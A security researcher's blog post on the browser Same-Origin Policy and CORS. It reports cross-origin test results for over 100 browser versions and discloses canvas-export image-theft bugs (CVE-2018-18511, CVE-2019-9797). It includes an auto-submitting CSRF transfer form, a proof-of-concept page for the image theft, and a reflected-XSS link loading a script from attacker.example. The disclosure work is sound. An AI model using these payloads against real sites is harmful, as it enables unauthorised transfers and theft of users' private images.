Same-Origin Policy: From birth until today

In this blog post I will talk about Cross-Origin Resource Sharing (CORS) between sites on different domains, and how the web browser’s Same Origin Policy is meant to facilitate CORS in a safe way. I will present data on cross-origin behaviour of various versions of four major browsers, dating back to 2004. I will also talk about recent security bugs (CVE-2018-18511 and CVE-2019-9797) I discovered in the latest versions of Firefox, Chrome and Opera which allows stealing sensitive images via Cross-Site Request Forgery (CSRF).

Motivation

An attack…

Cross-Site Request Forgery (CSRF or XSRF) is arguably one of the most common issues we encounter during web app testing, and one of the trickiest to protect against. The attack goes as follows:

A malicious user, Eve, has an account with bank.example with account number 123456. Eve wants to steal money from another customer, Bob, and knows that the HTTP request Bob would send to bank.example to transfer $10000 to Eve is as follows:

POST /transfer.php HTTP/1.1
Host: bank.example
Cookie: PHPSESSID={Bob's secret session cookie}

fromAcc=primary&toAcc=123456&amount=10000
Figure 1: An HTTP request vulnerable to CSRF

So she sets up a page at https://evil-eve.example/how-to-delete-yourself-from-the-internet with the following contents:

<!DOCTYPE html>
<html>
  <head>
    <script>
      document.addEventListener("DOMContentLoaded", function() {
        document.getElementById("gimmeTheMoney").submit();
      });
    </script>
  </head>
  <body>
    <form id="gimmeTheMoney" method="POST" action="https://bank.example/transfer.php">
      <input type="hidden" name="fromAcc" value="primary">
      <input type="hidden" name="toAcc" value="123456">
      <input type="hidden" name="amount" value="10000">
    </form>
  </body>
</html>
Figure 2: An HTML page which submits the request in Figure 1

The HTML form on the page corresponds to the POST request shown above. When Bob visits Eve’s page, in the hope of erasing past mistakes, the form is automatically submitted and includes Bob’s PHPSESSID cookie (if he has logged in to the bank’s website recently), performing the money transfer.

… and the defence

There are a few ways websites can protect their users from this type of attack. This article is not meant to explain all of them in detail; OWASP’s cheatsheet does a good job at that, albeit on a technical level. In short, there are two main techniques websites can use to counter CSRF:

  1. Relying on the browser...
    1. ...and its Same Origin Policy (SOP); this is the scenario I investigate in this article
    2. ...by setting cookies with the SameSite flag
  2. Using dynamic pages and generating one-time tokens for each action on the page, every time the page is reloaded.

Option 1.1 only works if the application refuses to accept requests that are sent via HTML forms (i.e. requests with content type application/x-www-form-urlencoded, multipart/form-data or text/plain, and no non-standard HTTP headers). This is because the same origin policy only applies to actions taken by JavaScript (and other browser-scripting languages). It does not apply to old-school HTML forms, so browsers can’t do anything to block HTML form submissions from untrusted domains. Requests containing JSON data or non-standard headers (e.g. X-Requested-With) on the other hand can only be sent via JavaScript. The browser needs to send a so-called “pre-flight check”, and unless the check determines that the target domain (e.g. bank.example) explicitly allows such requests from the origin domain (e.g. evil-eve.example), the browser doesn’t send the actual request. bank.example needs to respond with appropriate HTTP headers for the same origin policy to be effective; see section CORS headers.

Option 1.2 will prevent attacks like the one described, but it is supported only in modern browsers. Furthermore it will not prevent unauthenticated CSRF attacks to websites which are on an internal network or rely on IP whitelisting for authorization. The method relies on the legitimate server (bank.example) instructing the browser to only include the session cookie if the request is coming from the same origin, i.e. https://bank.example. The browser respects this during HTML form submissions too. This way, money transfers on bank.example work correctly, but the form hosted on evil-eve.example will not include Bob’s session cookie when submitted, and hence will prevent the transfer from occurring.

Option 2 can be used to prevent CSRF attacks that rely on any HTTP method and submission type (GET or POST; HTML forms or JavaScript), but has many pitfalls: care needs to be taken to issue, require and validate the token for every request; the server still needs to implement an appropriate CORS policy to prevent malicious sites from learning the token; the token needs to be generated in a cryptographically secure random way, be long enough, short-lived and tied to the current user’s session (i.e. invalidated upon Log out).

What is CORS, SOP, preflight checks and all this jibberish you’re talking about?

An origin is defined by a schema (or protocol), hostname and port number, e.g. https://bank.example:443. The standard says two origins are considered the same if and only if all of the below conditions are met:

  • the protocol for both origins is the same, e.g. https
  • the hostname for both origins is the same, e.g. bank.example; the hostname can be only partially-qualified (e.g. localhost); it can also be an IP address 1
  • the port number for both origins is the same; the port number does not have to be explicitly given, i.e. https://bank.example:443 and https://bank.example are the same origin since 443 is the default port number for https

Requests sent from one origin to a different one are called cross-origin requests. Historically browsers flat out refused to allow JavaScript to make cross-origin requests. This was done for security reasons, namely to prevent CSRF. As web applications became more complicated and interconnected the need for JavaScript-initiated cross-origin requests became evident. To enable cross-origin requests in a secure manner the standard for Cross-Origin Resource Sharing (CORS) was introduced.

CORS says that when making cross-origin requests browsers must include the Origin header and not include cookies unless explicitly requested, for example if the request had set XMLHttpRequest.withCredentials to true.

Additionally, CORS defines the concept of a simple request. A request is simple if all of these are true:

  • the method is GET, HEAD or POST
  • the request does not include non-standard headers
  • it submits content of type application/x-www-form-urlencoded, multipart/form-data or text/plain (those that can be submitted via HTML forms)

If the request is simple, the browser can send the request to the external origin, but if the server’s CORS policy does not allow the request the browser must not allow JavaScript to read the response. If the request is not simple, the browser must do a preflight check (OPTIONS HTTP method) with appropriate CORS headers. If the server’s CORS policy does not explicitly allow the request, then it must refuse to send the actual request.

Servers receiving cross-origin requests must respond with appropriate CORS headers indicating whether the request is allowed; this is done irrespective of whether the request is a preflight check (OPTIONS) or the actual request (e.g. GET).

CORS headers

If no preflight check is done browsers are only required to send the Origin header. Otherwise the preflight check should have an empty body, include no cookies, and include the Access-Control-Request-Method header with the method of the request to be made, e.g. GET. Additionally, if non-standard headers are to be included, it must include these as a comma-separated list in the Access-Control-Request-Headers header.

Servers should respond to a cross-origin request with the following headers:

  • Access-Control-Allow-Origin: either a single allowed origin or a wildcard (*) indicating all origins; servers may change the value depending on the Origin of the request
  • Access-Control-Allow-Credentials: indicating if the browser is allowed to send cookies with the request; if omitted, defaults to false; cannot be true if Access-Control-Allow-Origin is *
  • Access-Control-Allow-Headers: comma-separated list of allowed headers

A picture table says a thousand words:

Request is simple Server allows Browsers must
Origin Credentials Do preflight Give JavaScript access
Yes {not as requested} No No No
Yes
* No Yes, if no cookies needed
Yes
{as requested} No
Yes Yes
No {not as requested} No Yes No
Yes
* No Yes, if no cookies needed
Yes
{as requested} No
Yes Yes
Table 1: The CORS standard

Why GET should be “safe”

The preflight checks by browsers and their SOP make sure that requests which may modify sensitive data, such as DELETE, PUT, PATCH and non-simple POST requests will never be sent to the server from a third-party domain, unless the server explicitly allows such a request from this particular third-party domain.

You may then wonder why browsers don’t apply the same rules to GET requests. After all, some servers implement, or at least allow, sensitive data operations using GET requests. Take this hypothetical example: a Like button on a social media site (let’s call it FakeBook) which is placed under a page and links to https://fakebook.example/like?page=HTTPSEverywhere . When a user clicks on the button in order to like the page, the browser will send a GET request to that URL, and will include the user’s session cookie, so that the server knows which user has liked this page. This is a classic CSRF which the browser can’t do anything about. Bob, who is logged in to his FakeBook account, goes to windywellington.example to check the weather. windywellington.example is actually a malicious site which wants to collect likes on FakeBook and redirects Bob back to https://fakebook.example/like?page=WindyWellington. As far as the browser is concerned there is nothing wrong with that, as there are many legitimate cases which use redirection to third-party domains. And as far as fakebook.example is concerned Bob may have clicked that Like button himself. Blocking external Referer or using tokens won’t work if Like buttons are to be integrated with other sites.

So what could SOP do about GET requests? Pretty much nothing. Browsers are not supposed to block redirects by default. And there are many other ways windywellington.example can trick the browser into requesting a resource from fakebook.example, not limited to:

  • embedding https://fakebook.example/like?page=WindyWellington in an iframe 2
  • loading it as a script, image or any other resource
  • using an HTML form with the GET method

In none of those cases can either the browser or fakebook.example detect the malicious intent. This is why the HTTP standard clearly states that GET requests should always be “safe”, i.e. never change web application data. And this is also the reason why browsers are not required to submit a preflight check for GET requests. Unfortunately many websites neglect this and fall victim to CSRF attacks like the hypothetical Like button scenario. (note: facebook.com is not vulnerable in this way).

SOP behaviour across browsers

Browsers tested

I tested 17 versions of Opera, 16 versions of Firefox, 40 versions of Chrome, 39 versions of Internet Explorer, and one version of Microsoft Edge. A total of 113 browsers, dating back to 2004.

All browsers were tested using their default settings.

Full list of browsers tested and sources used

Opera


I tested one version per year as far back as it supports XMLHttpRequest:
  • Opera 7.50 build 3778 (May 2004)
  • Opera 8.50 build 7700 (Sep 2005)
  • Opera 9.00 build 8501 (Jun 2006)
  • Opera 9.20 build 8771 (Apr 2007)
  • Opera 9.60 build 10447 (Oct 2008)
  • Opera 10.00 build 1750 (Sep 2009)
  • Opera 10.10 build 1893 (Nov 2009)
  • Opera 10.50 build 3296 (Mar 2010)
  • Opera 11.00 build 1156 (Dec 2010)
  • Opera 11.52 build 1100 (Oct 2011)
  • Opera 12.10 build 1652 (Nov 2012)
  • Opera 17.0.1241.45 (Oct 2013)
  • Opera 24.0.1558.53 (Sep 2014)
  • Opera 32.0.1948.25 (Sep 2015)
  • Opera 40.0.2308.54 (Sep 2016)
  • Opera 48.0.2685.32 (Sep 2017)
  • Opera 56.0.3051.116 (Sep 2018)
Versions 11.00 to 12.18 and versions 15.0 and above can be downloaded from the official Opera archives. Versions pre 11.00 can be found on the third-party site oldversion.com. I do not take responsibility for any loss as a result of installing software from unofficial sources. I ran the versions in question on a virtual machine.

Firefox


I tested roughly one version per year (except version 1.5 from 2005, due to technical issues running the binary) as far back as version 1.0:
  • Firefox 1.0 (Nov 2004)
  • Firefox 2.0 (Oct 2006)
  • Firefox 3.0 (Jun 2008)
  • Firefox 3.5 (Jun 2009)
  • Firefox 3.6 (Jan 2010)
  • Firefox 4.0 (Mar 2011)
  • Firefox 5.0 (Jun 2011)
  • Firefox 10.0 (Jan 2012)
  • Firefox 18.0 (Jan 2013)
  • Firefox 27.0 (Feb 2014)
  • Firefox 35.0 (Jan 2015)
  • Firefox 44.0 (Jan 2016)
  • Firefox 52.0 (Mar 2017)
  • Firefox 58.0 (Jan 2018)
  • Firefox 63.0 (Oct 2018)
  • Firefox 65.0 (Jan 2019)
All versions of Firefox can be downloaded from the official archive.

Chrome (Chromium)


I used the ready Windows builds from Chromium's continuous and snapshots builds archive. I did not test stable releases in particular, as the build archives do not indicate which version a build corresponds to. I instead selected one out of roughly every 2000 builds, from the oldest to the newest. The date shown below is approximate as it corresponds to the release date of the corresponding stable major version:
  • Chrome 0.2.150.0 (build 1625, Sep 2008)
  • Chrome 0.3.155.0 (build 4054, Oct 2008)
  • Chrome 0.5.155.0 (build 6573, Dec 2008)
  • Chrome 2.0.157.0 (build 8000, May 2009)
  • Chrome 2.0.160.0 (build 9018, May 2009)
  • Chrome 2.0.165.0 (build 10008, May 2009)
  • Chrome 2.0.173.0 (build 13007, May 2009)
  • Chrome 2.0.178.0 (build 15037, May 2009)
  • Chrome 3.0.187.0 (build 18037, Oct 2009)
  • Chrome 4.0.205.0 (build 25013, Jan 2010)
  • Chrome 5.0.338.0 (build 40103, May 2010)
  • Chrome 7.0.501.0 (build 56985, Oct 2010)
  • Chrome 13.0.772.0 (build 86075, Aug 2011)
  • Chrome 16.0.906.0 (build 105136, Dec 2011)
  • Chrome 18.0.998.0 (build 116631, Mar 2012)
  • Chrome 20.0.1103.0 (build 132352, Jun 2012)
  • Chrome 21.0.1169.0 (build 141354, Jul 2012)
  • Chrome 23.0.1232.0 (build 150969, Nov 2012)
  • Chrome 24.0.1294.0 (build 161613, Jan 2013)
  • Chrome 26.0.1401.0 (build 180186, Mar 2013)
  • Chrome 29.0.1539.0 (build 206377, Aug 2013)
  • Chrome 31.0.1631.0 (build 223221, Nov 2013)
  • Chrome 34.0.1758.0 (build 242345, Apr 2014)
  • Chrome 37.0.2046.0 (build 276657, Aug 2014)
  • Chrome 40.0.2199.0 (build 301085, Jan 2015)
  • Chrome 42.0.2290.0 (build 313413, Apr 2015)
  • Chrome 44.0.2386.0 (build 327302, Jul 2015)
  • Chrome 46.0.2485.0 (build 343611, Oct 2015)
  • Chrome 49.0.2586.0 (build 363859, Mar 2016)
  • Chrome 51.0.2683.0 (build 381909, May 2016)
  • Chrome 52.0.2716.0 (build 389148, Jul 2016)
  • Chrome 55.0.2860.0 (build 418349, Dec 2016)
  • Chrome 58.0.3008.0 (build 449389, Apr 2017)
  • Chrome 61.0.3142.0 (build 482288, Sep 2017)
  • Chrome 64.0.3279.0 (build 519221, Jan 2018)
  • Chrome 67.0.3387.0 (build 547516, May 2018)
  • Chrome 69.0.3480.0 (build 571853, Sep 2018)
  • Chrome 71.0.3549.0 (build 590119, Dec 2018)
  • Chrome 72.0.3617.0 (build 609737, Jan 2019)
  • Chrome 74.0.3695.0 (build 629061, Jan 2019)
I wrote a script which can fetch a list of all builds for a platform (e.g. Win_x64/) or download the portable version of a given build (e.g. Win/10008).

Internet Explorer


I tested every major version of Internet Explorer as far back as it supports XMLHttpRequest. IE11 on Windows 10 behaves differently to IE11 on older Windows versions, even with the latest patches applied to them. I tested three versions of IE11 on Windows 10, one on Windows 7, and all 31 versions of IE11 on Windows 8.1 (initial + the 30 cumulative updates for it)
  • IE 7.0.6002.18005 (Windows Vista, 2006)
  • IE 8.0.7601.17514 (Windows 7, Mar 2009)
  • IE 9.0.8112.16421 (Windows 7, Mar 2011)
  • IE 10.0.9200.17609 (Windows 7, Jan 2016, KB3124275, MS16-001)
  • IE 11.0.9600.18860(Windows 7, Dec 2017, KB4052978)
  • IE 11.0.XXXX.XXXXX (Windows 8.1, initial + all 30 updates from April 2016 to Jan 2019)
  • IE 11.1.17134.0 (Windows 10, Oct 2017, KB4040685)
  • IE 11.407.17134.0 (Windows 10, Nov 2018, KB4466536)
  • IE 11.471.17134.0 (Windows 10, Dec 2018, KB4470199)
Virtual machines for various platforms, including VMware Fusion, with IE versions 8 to 11 can be downloaded from Microsoft's site. Virtual machines for Microsoft Hyper-V can be downloaded from Microsoft's site. These can be imported into VirtualBox as well, and from there exported to OVF format for VMware.

Microsoft Edge


I tested only one recent version of Microsoft Edge:
  • Microsoft Edge 42.17134.1.0 (Apr 2018)
A virtual machine for various platforms, including VMware Fusion, with the above Edge version can be downloaded from Microsoft's site.

Test setup

I wrote an HTTP server based on Python’s http.server, and some supporting HTML/JavaScript. The server implements a dummy login and requires a cookie issued by it for requests to any file under /secret/.

The CORS headers to be included in the server’s response to each request are taken from URL parameters in that request. Supported parameters:

  • creds: should be 0 or 1 requesting Access-Control-Allow-Credentials: true or false
  • origin: specifies Access-Control-Allow-Origin; it is taken literally unless it is {ECHO}, then it is taken from the Origin header in the request.

/demos/sop/getSecret.html will prompt for the target origin (should be different to the one it’s loaded from), then log in to it, and fetch https://<target_host>/secret/<secret file>?origin=...&creds=... requesting each one of the five CORS combinations described below; and it will do so using each the eight cross-origin request methods described below.

Server CORS modes

Each request was submitted 5 times: each time the server was configured to reply with one of the five Access-Control-Allow-* header combinations:

Origin Credentials
No
* No
Yes
{as requested} No
Yes
Table 2: The combinations of CORS server response headers tested

where “{as requested}” means the server specifically allowed the origin the request came from, “Yes” indicates true value of the header, “No”—false

Cross-origin request methods

Each browser was tested with the following 8 cross-origin request methods:

Method Body Content-Type
or embedded as
Request is simple Require cookies? Response data taken from
GET via XHR Yes Yes responseText
POST via XHR application/json No Yes responseText
Sample code for XMLHttpRequest
<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <script charset="utf-8">
      window.onload = function () {
        var req = new XMLHttpRequest();
        var doPOST = false; // select GET or POST
        // this page is not served with CORS headers
        req.open((doPOST ? 'POST' : 'GET'),  'https://www.wikipedia.org/');
        req.withCredentials = true;
        req.onreadystatechange = function () {
          if (this.readyState != 4) { return; }
          document.getElementById('result').innerHTML = this.responseText;
        };
        req.send((doPOST ? "{}" : null));
      };
    </script>
  </head>
  <body>
    <div style="padding: 10px; margin-bottom: 10px; border: solid 1px black"><p>Result:</p>
    <textarea readonly id="result"></textarea></div>
  </body>
</html>
GET via iFrame3 N/A Yes No contentDocument.body.innerHTML
Sample code for iframe
<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <script charset="utf-8">
      function logData() {
        var doc = this.exampletentDocument ||
          (this.exampletentWindow ? this.exampletentWindow.document : null);
        document.getElementById('result').innerHTML = doc.body.innerHTML;
      }
      window.onload = function () {
        var ifr = document.createElement('iframe');
        // this page is not served with CORS headers
        ifr.src =  'https://www.wikipedia.org/';
        ifr.onload = logData;
        document.body.appendChild(ifr);
      };
    </script>
  </head>
  <body>
    <div style="padding: 10px; margin-bottom: 10px; border: solid 1px black"><p>Result:</p>
    <textarea readonly id="result"></textarea></div>
  </body>
</html>
GET via object3 text/plain Yes No contentDocument.body.innerHTML
Sample code for object
<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <script charset="utf-8">
      function logData() {
        var doc = this.exampletentDocument ||
          (this.exampletentWindow ? this.exampletentWindow.document : null);
        document.getElementById('result').innerHTML = doc.body.innerHTML;
      }
      window.onload = function () {
        var obj = document.createElement('object');
        // this page is not served with CORS headers
        obj.data =  'https://www.wikipedia.org/';
        obj.onload = logData;
        document.body.appendChild(obj);
      };
    </script>
  </head>
  <body>
    <div style="padding: 10px; margin-bottom: 10px; border: solid 1px black"><p>Result:</p>
    <textarea readonly id="result"></textarea></div>
  </body>
</html>
GET via 2D canvas N/A Yes Yes toDataURL()
No
Sample code for 2D canvas
<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <script charset="utf-8">
      function logData() {
        var can = document.createElement('canvas');
        var ctx = can.getContext('2d');
        ctx.drawImage(this, 0, 0);
        document.getElementById('result').src = can.toDataURL();
      }
      window.onload = function () {
        var img = document.createElement('img');
        // img.setAttribute('crossorigin', 'use-credentials'); // set this to enable CORS
        // this image is not served with CORS headers
        img.src = 'https://duckduckgo.com/assets/logo_homepage_mobile.normal.v107.png';
        img.onload = logData;
        document.body.appendChild(img);
      };
    </script>
  </head>
  <body>
    <div style="padding: 10px; margin-bottom: 10px; border: solid 1px black"><p>Result:</p>
      <img id="result"></img></div>
  </body>
</html>
GET via bitmap canvas N/A Yes Yes toDataURL()
No
Sample code for bitmap canvas
<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <script charset="utf-8">
      function logData() {
        createImageBitmap(this, 0, 0, this.naturalWidth, this.naturalHeight).then(function(bmap) {
          var can = document.createElement('canvas');
          var ctx = can.getContext('bitmaprenderer');
          ctx.transferFromImageBitmap(bmap);
          document.getElementById('result').src = can.toDataURL();
          if (/Google Inc/.test(navigator.vendor)) {
            document.getElementById('main').textContent = 'Chrome and Opera will display a transparent 300x150 image, see Chromium bug #838108';
          }
        });
      }
      window.onload = function () {
        var img = document.createElement('img');
        // img.setAttribute('crossorigin', 'use-credentials'); // set this to enable CORS
        // this image is not served with CORS headers
        img.src = 'https://duckduckgo.com/assets/logo_homepage_mobile.normal.v107.png';
        img.onload = logData;
        document.body.appendChild(img);
      }
    </script>
  </head>
  <body>
    <div style="padding: 10px; margin-bottom: 10px; border: solid 1px black"><p>Result:</p>
    <img id="result"></img><p id="main" style="color: red"></p></div>
  </body>
</html>
Table 3: The cross-origin request and data exfiltration methods tested

Requested targets

Where the request method used a canvas the “secret” file was an image. Otherwise the file was a plain text file.

Each test was done twice: once to an origin with a different hostname (IP address of a different interface on the same machine), and once to an origin with the same hostname/IP address but different port number. This makes for a total of 8 × 5 × 2 = 80 tests per browser.

Results

Below is a summary of those browsers which send the request and/or allow JavaScript to read the response when they shouldn’t. For the full list of every request, see the current result tables for cross-origin requests to different hostnames and same hostnames/different ports.

When target origin differs by hostname

When the target origin had a different hostname, most browsers were either compliant, or forbid the request, which is the safe fallback if CORS is not supported.

A notable exception are the currently latest versions of Chrome, Firefox and Opera, which allow JavaScript to read so-called “tainted” canvases. These are canvases rendered from an image which has not been loaded for cross-origin use, i.e. no crossorigin attribute was given. I discovered the bug (CVE-2018-18511) while doing this research and reported it to Google and Mozilla.

In addition, a few very old versions of Chrome do not apply the CORS policy to XMLHttpRequests.

(In this and in any following tables, the highlighted cells indicate behaviour that does not conform to the specification).

Browsers Methods Server allowed Browser did
Origin Credentials Preflight for POST Give JavaScript access
Chrome 67.0
Chrome 69.0
Chrome 71.0
Chrome 72.0
Chrome 74.0
Firefox 65.0
Opera 56.0
GET via bitmap canvas (no CORS) No No Yes
* No
Yes
{as requested} No
Yes Yes
Chrome 2.0.165.0 GET via XHR
POST via XHR
No No No
* No Yes
Yes
{as requested} No
Yes Yes
Chrome 2.0.173.0 GET via XHR
POST via XHR
No Yes No
* No Yes
Yes
{as requested} No
Yes Yes
Table 4: Browsers with dangerous SOP policy for origins differing by hostname

When target origin differs only by port number

In addition to the vulnerable browsers listed in Table 4, when the target origin differed only in port number, all versions of Internet Explorer and Edge including the latest ones, had an unsafe SOP policy.

Interestingly, Edge allows exporting of tainted bitmap canvases only in this case, when the origins are on the same host.

Browsers Methods Server allowed Browser did
Origin Credentials Preflight for POST Give JavaScript access
Internet Explorer 11
  (<= Windows 8.1)
Internet Explorer 10
Internet Explorer 9
Internet Explorer 8
Opera 9.00
GET via XHR
POST via XHR
No No Yes
* No
Yes
{as requested} No
Yes Yes
Chrome 2.0.165.0 GET via XHR
POST via XHR
No No No
* No Yes
Yes
{as requested} No
Yes Yes
Chrome 2.0.173.0 GET via XHR
POST via XHR
No Yes No
* No Yes
Yes
{as requested} No
Yes Yes
Microsoft Edge 42
Internet Explorer 11
Internet Explorer 10
Internet Explorer 9
Internet Explorer 8
Internet Explorer 7
GET via iFrame No No Yes
* No
Yes
{as requested} No
Yes Yes
Microsoft Edge 42
Internet Explorer 11
Internet Explorer 10
Internet Explorer 9
GET via object No No Yes
* No
Yes
{as requested} No
Yes Yes
Chrome 67.0
Chrome 69.0
Chrome 71.0
Chrome 72.0
Chrome 74.0
Firefox 65.0
Opera 56.0
Microsoft Edge 42
Internet Explorer 11
Internet Explorer 10
Internet Explorer 9
Opera 9.60
Opera 9.20
Opera 9.00
GET via bitmap canvas (no CORS) No No Yes
* No
Yes
{as requested} No
Yes Yes
Internet Explorer 11
Internet Explorer 10
Internet Explorer 9
Opera 9.60
Opera 9.20
Opera 9.00
GET via 2D canvas (CORS) No No Yes
* No
Yes
{as requested} No
Yes Yes
Table 5: Browsers with dangerous SOP policy for origins differing by port number only

Implications

There are two main issues to discuss here.

Issue 1: Exporting of tainted canvases

Sometime in 2018 a bug was introduced in Chrome, Firefox as well as Opera, which allowed rendering any image to a bitmap canvas and exporting it.

This is a serious issue since the browser sends the cookies it has for a domain when loading images from that domain. For example, if a user, while logged in to their account at bank.example, visits an attacker’s page, the page can steal any sensitive images the user has access to. All the attacker needs is the URL of the image. The image can be anything—from a personal photo or a scanned document, to the QR code for a two factor-authentication secret. It is an example of cross-site request forgery where it was up to the browser, and not the server, to prevent it.

Google didn’t make fixing the issue a priority as it was not exploitable due to another bug in Chrome: toDataURL() and toBlob() give a generic transparent image for bitmap canvases. They did eventually fix it, and subsequently the other bug, which was giving a transparent image for a bitmap context.

Mozilla fixed the bug within days and pushed an update. Days after that I discovered an alternative way (CVE-2019-9797) of getting the image: again by converting it to an ImageBitmap, but then rendering it in a 2D canvas instead of a bitmap canvas:

<html><body>
  <script charset="utf-8">
    function getData() {
      createImageBitmap(this, 0, 0, this.naturalWidth,
        this.naturalHeight).then(function(bmap) {
        var can = document.createElement('canvas');
        // mfsa2019-04 fixed this
        // --------------------------
        // var ctx = can.getContext('bitmaprenderer');
        // ctx.transferFromImageBitmap(bmap);
        // --------------------------
        // but not this
        var ctx = can.getContext('2d');
        ctx.drawImage(bmap, 0, 0);
        document.getElementById('result').textContent = can.toDataURL();
        var img = document.getElementById('result_render');
        img.src = can.toDataURL();
        document.body.appendChild(img);
      }); }
  </script>
  <img style="visibility: hidden" src="https://duckduckgo.com/assets/logo_homepage_mobile.normal.v107.png" onload="getData.call(this)"/>
  <br/><textarea readonly style="width:100%;height:10em" id="result"></textarea>
  <br/>Re-rendered image: <br/><img id="result_render"></textarea>
</body></html>

Mozilla were again quick to fix it. The fix made it into the stable branch on April 1st.

Chrome is not vulnerable to this version of the exploit.

Issue 2: IE and Edge’s same-origin policy when it comes to origins on the same host

It is clear that Internet Explorer and Edge do not consider origins on the same host but different ports distinct, at least not as distinct as origins with different hostnames. This is not a new issue, or an accidental neglect by Microsoft. The Mozilla Developer Guide is quite clear on the fact that:

Internet Explorer has two major exceptions to the same-origin policy:

  • Trust Zones: If both domains are in the highly trusted zone (e.g. corporate intranet domains), then the same-origin limitations are not applied.
  • Port: IE doesn’t include port into same-origin checks. Therefore, https://company.com:81/index.html and https://company.com/index.html are considered the same origin and no restrictions are applied.

It also clearly points out that:

These exceptions are nonstandard and unsupported in any other browser.

The behaviour of modern Internet Explorer and Edge is striking for several reasons:

  • The changes introduced for Windows 10 do improve the security of IE, but have been applied inconsistently and insufficiently:
    • They are not available for older Windows versions, even though security updates are still being issued for them.
    • They close the loophole in XMLHttpRequest, but still allow cross-origin access via iframe; data from another origin can also be stolen using object.
  • It clearly violates the standard which has been set long ago, and which all other browsers conform to, and conform to for a good reason.

I do not know the reasoning behind their same origin policy, but the implications are not negligible. We often see multiple HTTP services on the same host. Usually one is a standard public site (on ports 80 and 443), another one may be an administrative interface, not accessible publicly. Treating these as a single origin exposes every service on the host to attacks should even one of them be compromised.

Consider a hypothetical example: a simple public website, which holds no sensitive data, nor implements authentication. It is likely that not a lot of attention would be paid to its secure implementation as it does not appear to be a valuable target for attackers. Let’s say a page on the site, /vulnerable.html, is vulnerable to a reflected Cross-Site Scripting (XSS) attack. An attacker can trick the developer of the site into visiting the following link

http://localhost/vulnerable.html?search=<script%20src%3d"%2f%2fattacker.example%2fevil.js"><%2fscript>

The vulnerable page will reflect the search parameter and in this way load a script from http://attacker.example/evil.js. The JavaScript will execute in the context of the page, localhost, as if it has been hosted on the site. Any requests made by it will come from origin http://localhost.

Imagine there is a sensitive administrative panel on the same host, port 8080, which is not accessible from the public network, and does not allow cross-origin requests. If the developer who’s fallen victim to the reflected XSS is using Internet Explorer or Edge, then evil.js from attacker.example will have full access to the panel. In particular:

  • if the developer is not logged in to the admin panel: it may attempt to brute force accounts on the administrative panel
  • if the developer is logged in to the admin panel: it can get any data from it or take any action at the level of privilege of the developer

I leave it to the reader to reach their conclusion. Mine would be “do not use IE or Edge”.

Tools used

References

  1. If however it is a hostname, the browser doesn’t make sure it resolves to the same IP address during different requests; see DNS Rebinding attack 

  2. Even if fakebook.example prevents this using X-Frame-Options, the GET request is already sent 

  3. iframe and object don’t support CORS, so the browser should always refuse access, even if the server would allow a GET for this resource.  2